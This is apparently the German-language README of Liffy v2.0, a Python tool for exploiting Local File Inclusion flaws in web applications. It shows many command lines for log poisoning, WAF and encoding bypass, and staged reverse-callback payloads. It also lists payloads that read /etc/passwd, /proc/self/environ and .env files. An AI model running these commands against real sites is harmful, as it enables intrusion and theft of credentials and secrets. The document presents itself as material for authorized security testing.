
Tool zur Ausnutzung lokaler Dateieinbindung

Ein leistungsstarkes Python-Tool zur Ausnutzung von Local File Inclusion (LFI) mit erweiterten Funktionen, darunter WAF-Umgehung, Kodierungstechniken und umfassende Schwachstellenerkennung.
Liffy v2.0 ist die erheblich verbesserte Version von liffy, die ursprünglich von rotlogix/liffy erstellt wurde. Diese Version enthält moderne Funktionen wie Rich-Terminal-Ausgabe, YAML-Konfiguration, verbessertes Multithreading und mehrere fortgeschrittene Exploitationstechniken.
⚠️ Viele der neuen Änderungen wurden vibe coded.
Stellen Sie sicher, dass Sie Python 3 verwenden. Liffy unterstützt Python 2 nicht. Die folgenden Beispiele verwenden uv run python, sodass die Befehle innerhalb der Projektumgebung ausgeführt werden.
# Install uv if you haven't already
curl -LsSf https://astral.sh/uv/install.sh | sh
# Clone the repository
git clone https://github.com/mzfr/liffy
cd liffy
# Create virtual environment with uv
uv venv
# Install dependencies from pyproject.toml
uv sync
# Run liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [OPTIONS]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url URL to test for LFI
Core Techniques:
-d, --data Use data:// technique
-i, --input Use input:// technique
-e, --expect Use expect:// technique
-f, --filter Use filter:// technique
-p, --proc Use /proc/self/environ technique
-a, --access Apache access logs technique
--ssh SSH auth log poisoning
-dt, --directorytraverse Test for Directory Traversal
--null-byte Test for Null Byte Poisoning
--zip Test for ZIP wrapper exploitation
--wrappers, --wrapper Detect common LFI stream wrappers
--wrapper-list WRAPPER_LIST
Path to custom wrapper probe payload list
--oob Send out-of-band callback probes
--oob-url OOB_URL OOB callback base URL
--blind Run blind LFI response-difference checks
--blind-list BLIND_LIST
Path to custom blind LFI probe list
--auto Run a safe automatic scan plan
Advanced Options:
--encoding Use advanced encoding/bypass techniques
--waf-bypass Use WAF evasion techniques
--method {GET,POST} HTTP method to use (default: GET)
--post-data POST_DATA POST data (format: key=value&key2=value2)
--headers HEADERS Custom headers (format: Header1:Value1,Header2:Value2)
--detection Only perform LFI detection, no exploitation
Request Options:
--timeout TIMEOUT HTTP request timeout in seconds
--proxy PROXY HTTP(S) proxy URL, e.g. http://127.0.0.1:8080
--verify-tls Verify TLS certificates instead of using insecure requests
--user-agent UA Custom User-Agent header
--delay DELAY Delay between requests in seconds
--retries RETRIES HTTP retries per request
Automation Options:
--lhost LHOST Callback host for staged payloads
--lport LPORT Callback port for staged payloads
--read-file PATH File path to read with filter://
-y, --yes Use defaults for prompts and run non-interactively
--json Print a JSON run summary
--output OUTPUT Write JSON run summary to a file
--quiet Suppress normal terminal output
General Options:
-ns, --nostager Execute payload directly, do not use stager
-r, --relative Use path traversal sequences for attack
-l, --location LOCATION Path to target file (access log, auth log, etc.)
--cookies COOKIES Session cookies for authentication
-t, --threads THREADS Number of threads to use (default: 5)
--no-color Disable colored output
--no-banner Disable banner display
--config Create default YAML configuration file
Erstellen Sie eine Konfigurationsdatei für dauerhafte Einstellungen:
uv run python liffy.py --config
Dies erstellt liffy_config.yaml mit Standardeinstellungen:
# Liffy Configuration File
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
Setzen Sie disable_banner: true, um das Startbanner/-logo standardmäßig auszublenden. CLI-Flags überschreiben weiterhin die Konfigurationswerte, sodass Sie auch --no-banner, --no-color oder --quiet für einmalige Ausführungen verwenden können.
Sie können auch Umgebungsvariablen verwenden:
LIFFY_THREADS - Anzahl der ThreadsLIFFY_RATE_LIMIT - Verzögerung der RatenbegrenzungLIFFY_NO_COLOR - Farben deaktivieren (true/false)Wenn --waf-bypass aktiviert ist, wendet liffy automatisch mehrere Umgehungstechniken an:
/**/, #, ;file:///, pHp://./, ../, NullbytesMit --encoding wendet liffy erweiterte Kodierungsmethoden an:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# POST with form data
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST with custom headers
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# Send traffic through a local proxy and retry transient failures
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# Use a fixed User-Agent and custom request delay
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
Die Wrapper-Erkennung verwendet sichere Standardsonden für file://, php://filter, data://, php://temp, php://memory und verwandte Wrapper. zip://, phar:// und glob:// werden als informativ/bedingt behandelt, da sie normalerweise zielseitige Dateien oder ein Sink-Verhalten erfordern, das Auflistungen freigibt.
Sie können eine benutzerdefinierte Liste von Wrapper-Payloads bereitstellen. Wenn --wrapper-list weggelassen wird, greift liffy auf die integrierten Sonden zurück:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
Jede nicht leere Zeile kann entweder ein roher Payload oder name=payload sein:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
Verwenden Sie dies mit einem HTTP/DNS-Callback-Listener. Liffy sendet URL-Wrapper-artige Payloads und Sie überprüfen, ob das Ziel zurückruft.
uv run python liffy.py "http://example.com/page.php?file=" --blind
Blinde Prüfungen vergleichen vorhandene Datei-Sonden mit zufälligen Basiswerten fehlender Dateien und melden Status-, Längen- oder Zeitunterschiede, wenn Inhalte nicht direkt widergespiegelt werden.
Sie können eine benutzerdefinierte Liste blinder Sonden bereitstellen. Wenn --blind-list weggelassen oder leer ist, verwendet liffy integrierte Sonden:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
Jede nicht leere Zeile kann entweder ein roher Payload oder name=payload sein:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto aktiviert nur Erkennungs-Directory-Traversal, Wrapper-Prüfungen und blinde Prüfungen. Wenn auch --oob-url angegeben ist, werden OOB-Sonden eingeschlossen.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
Die folgenden Standardspeicherorte werden verwendet, wenn kein benutzerdefinierter Pfad angegeben ist:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_logWir freuen uns über Beiträge! So können Sie helfen:
Zögern Sie nicht, bei Fragen oder Anregungen ein Issue zu eröffnen!
Der Erkennungsmodus von Liffy bietet eine umfassende Schwachstellenanalyse:
/etc/passwd[+] VULNERABILITY SUMMARY
==================================================
[1] Vulnerability Found
Payload: ../../etc/passwd
Confidence: 85%
Evidence: Linux /etc/passwd file: root:
Status Code: 200
Content Length: 1547
# Use WAF bypass techniques
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# Reduce thread count and increase delays
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# Increase delay in config file
max_threads: 2
rate_limit_delay: 1.0
Für ausführliche Ausgabe können Sie die Konfiguration ändern:
debug_mode: true
verbose_output: true
Liffy ist nur für autorisierte Sicherheitstests konzipiert.
Die Autoren sind nicht verantwortlich für den Missbrauch dieses Tools.
Dieses Projekt ist lizenziert unter der GNU General Public License v3.0 – siehe die Datei LICENSE für Details.